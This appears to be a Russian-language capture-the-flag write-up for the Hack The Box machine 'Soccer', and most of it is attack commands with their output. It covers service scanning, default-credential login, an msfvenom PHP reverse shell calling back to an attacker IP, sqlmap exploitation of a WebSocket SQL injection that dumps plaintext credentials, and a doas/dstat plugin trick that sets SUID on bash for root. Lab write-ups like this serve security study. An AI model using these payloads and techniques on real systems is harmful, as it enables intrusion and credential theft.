Обзор сервисов
Посмотрим, что крутится на машине. IP-адрес 10.10.11.194
:
$ nmap -sV -sC -Pn -p1-65535 -oN 10.10.11.194 10.10.11.194
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-22 14:16 EDT
Nmap scan report for 10.10.11.194
Host is up (0.060s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Thu, 22 Jun 2023 18:18:26 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Thu, 22 Jun 2023 18:18:26 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.94%I=7%D=6/22%Time=6494906B%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Thu,\x2022\x20Jun\x202023\x2018:18:26\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Thu,\x2022\x20Jun\x202023\x2018:18:26\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Thu,\
SF:x2022\x20Jun\x202023\x2018:18:26\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.05 seconds
Пропишем в /etc/hosts домен soccer.htb:
10.10.11.194 soccer.htb
Вебка
На главной ничего интересного.
Поищем другие директории:
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://soccer.htb -r -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2023/06/22 14:24:54 Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 200) [Size: 11521]
Progress: 16305 / 87665 (18.60%)^C
===============================================================
2023/06/22 14:25:47 Finished
===============================================================
Нашлась директооия /tiny
.
Tiny
Попробуем стандартные креды для Tiny File Manager admin:admin@123
:
Поищем директорию, в которую разрешена запись - /var/www/html/tiny/uploads
:
Загрузим реверс шелл:
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.175 LPORT=80 -f raw -o shell.php
# не забыть раскомментировать в shell.php
$ msfconsole
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.175
lhost => 10.10.14.175
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > run
Перейдем на http://soccer.htb/tiny/uploads/shell.php и поймаем шелл:
Обзор системы
В /etc/hosts обнаружим новый виртуальный хост:
$ cat /etc/hosts
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
Добавим его на свою машину и перейдем на вебку.
Вебка похожа на предыдущую, но содержит новый функционал - регистрацию и логин.
Зарегистрируем пользователя и залогинимся.
Если попробовать послать какие-нибудь данные в форму (или посмотреть в исходный код HTML страницы), то можно обнаружить общение по websocket на порту 9091:
SQL инъекция
Попробуем применить SQL инъекцию по инструкции. Из нее возьмем исходный код прокси сервера, в котором сделаем следующие изменения:
- заменим строку
ws_server = "ws://localhost:8156/ws"
наws_server = "ws://soc-player.soccer.htb:9091/
- поменяем полезную нагрузку в скрипте на
data = '{"id":"%s"}' % message
- сохраним файл как
wss-proxy.py
- запустим его
- применим на него sqlmap
$ python3 wss-proxy.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
$ sqlmap http://localhost:8081/?id=1
___
__H__
___ ___[.]_____ ___ ___ {1.7.6#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:06:22 /2023-06-22/
[15:06:22] [INFO] testing connection to the target URL
[15:06:22] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.11.2')
[15:06:22] [INFO] testing if the target URL content is stable
[15:06:23] [INFO] target URL content is stable
[15:06:23] [INFO] testing if GET parameter 'id' is dynamic
[15:06:23] [WARNING] GET parameter 'id' does not appear to be dynamic
[15:06:23] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[15:06:23] [INFO] testing for SQL injection on GET parameter 'id'
[15:06:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:06:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:06:25] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:06:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:06:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:06:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:06:29] [INFO] testing 'Generic inline queries'
[15:06:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:06:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:06:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:06:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:06:42] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[15:06:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:06:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:06:56] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[15:07:06] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[15:07:06] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 97 HTTP(s) requests:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 5825 FROM (SELECT(SLEEP(5)))bDSl)
---
[15:07:34] [INFO] the back-end DBMS is MySQL
[15:07:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
back-end DBMS: MySQL >= 5.0.12
[15:07:35] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'
[*] ending @ 15:07:35 /2023-06-22/
Обнаружилась time-based blind SQL инъекция (процесс был долгим).
Продолжим эксплуатацию. Вытащим названия известных баз данных:
$ sqlmap http://localhost:8081/?id=1 --dbs
___
__H__
___ ___["]_____ ___ ___ {1.7.6#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V… |_| <https://sqlmap.org>
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:08:23 /2023-06-22/
[15:08:23] [INFO] resuming back-end DBMS 'mysql'
[15:08:23] [INFO] testing connection to the target URL
[15:08:24] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.11.2')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 5825 FROM (SELECT(SLEEP(5)))bDSl)
---
[15:08:24] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:08:24] [INFO] fetching database names
[15:08:24] [INFO] fetching number of databases
[15:08:24] [WARNING] time-based comparison requires larger statistical model, please wait………………………… (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[15:08:41] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
5
[15:08:48] [INFO] retrieved:
[15:08:53] [INFO] adjusting time delay to 1 second due to good response times
my
[15:09:07] [ERROR] invalid character detected. retrying..
[15:09:07] [WARNING] increasing time delay to 2 seconds
sql
[15:09:31] [INFO] retrieved: information_schema
[15:11:53] [INFO] retrieved: performance_schema
[15:14:12] [INFO] retrieved: sys
[15:14:37] [INFO] retrieved: soccer_db
available databases [5]:
[_] information_schema
[_] mysql
[_] performance_schema
[_] soccer_db
[*] sys
[15:15:50] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'
[*] ending @ 15:15:50 /2023-06-22/
Вытащим содержимое базы данных soccer_db
:
$ sqlmap http://localhost:8081/?id=1 --dump soccer_db
___
__H__
___ ___["]_____ ___ ___ {1.7.6#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V… |_| <https://sqlmap.org>
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:17:52 /2023-06-22/
[15:17:52] [INFO] resuming back-end DBMS 'mysql'
[15:17:52] [INFO] testing connection to the target URL
[15:17:53] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.11.2')
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 5825 FROM (SELECT(SLEEP(5)))bDSl)
---
[15:17:53] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:17:53] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:17:53] [INFO] fetching current database
[15:17:53] [WARNING] time-based comparison requires larger statistical model, please wait………………………… (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[15:18:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[15:18:17] [INFO] adjusting time delay to 1 second due to good response times
soccer_db
[15:18:57] [INFO] fetching tables for database: 'soccer_db'
[15:18:57] [INFO] fetching number of tables for database 'soccer_db'
[15:18:57] [INFO] retrieved: 1
[15:19:00] [INFO] retrieved: accounts
[15:19:37] [INFO] fetching columns for table 'accounts' in database 'soccer_db'
[15:19:37] [INFO] retrieved: 4
[15:19:40] [INFO] retrieved: id
[15:19:49] [INFO] retrieved: email
[15:20:11] [INFO] retrieved: username
[15:20:45] [INFO] retrieved: password
[15:21:26] [INFO] fetching entries for table 'accounts' in database 'soccer_db'
[15:21:26] [INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
[15:21:26] [INFO] retrieved: 1
[15:21:28] [WARNING] (case) time-based comparison requires reset of statistical model, please wait………………………… (done)
PlayerOftheMatch2022
[15:23:07] [INFO] retrieved: [email protected]
[15:24:30] [INFO] retrieved: 1324
[15:24:49] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | [email protected] | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+
[15:25:18] [INFO] table 'soccer_db.accounts' dumped to CSV file '/home/kali/.local/share/sqlmap/output/localhost/dump/soccer_db/accounts.csv'
[15:25:18] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'
[*] ending @ 15:25:18 /2023-06-22/
Креды пользователя в открытом виде: player:PlayerOftheMatch2022
.
SSH
Попытаемся использовать полученные креды и попадаем в систему:
$ ssh [email protected]
PlayerOftheMatch2022
Пользовательский флаг
Забираем флаг пользователя:
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:5e:97 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.194/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:5e97/64 scope global dynamic mngtmpaddr
valid_lft 86398sec preferred_lft 14398sec
inet6 fe80::250:56ff:feb9:5e97/64 scope link
valid_lft forever preferred_lft forever
player@soccer:~$ cat user.txt
aadae7e35cc46f7f34ab060b7369543d
Дальнейший обзор системы
Воспользуемся скриптом linpeas для поиска дальнейшего вектора повышения привилегий в системе.
Внимание привлекает бинарник doas
:
╔══════════╣ Executable files potentially added by user (limit 70)
2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit
2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
2022-11-15+21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh
2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh
Проверим, есть ли его конфигурация:
player@soccer:/tmp$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
Мы можем исполнять программу /usr/bin/dstat
с правами суперпользователя.
Повышение привилегий в системе
Воспользуемся ссылками:
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation#doas
- https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/
Создадим эксплоит и запустим его:
$ nano /usr/local/share/dstat/dstat_exploit.py
import os
os.system('chmod +s /usr/bin/bash')
$ doas -u root /usr/bin/dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
Module dstat_exploit failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
$ bash -p
bash-5.0# id
uid=1001(player) gid=1001(player) euid=0(root) egid=0(root) groups=0(root),1001(player)
Флаг суперпользователя
Теперь можно забрать последний флаг:
bash-5.0# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:5e:97 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.194/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:5e97/64 scope global dynamic mngtmpaddr
valid_lft 86393sec preferred_lft 14393sec
inet6 fe80::250:56ff:feb9:5e97/64 scope link
valid_lft forever preferred_lft forever
bash-5.0# cat root.txt
b7e9f9f9ae40eea3972daf80677bb630
bash-5.0# id
uid=1001(player) gid=1001(player) euid=0(root) egid=0(root) groups=0(root),1001(player)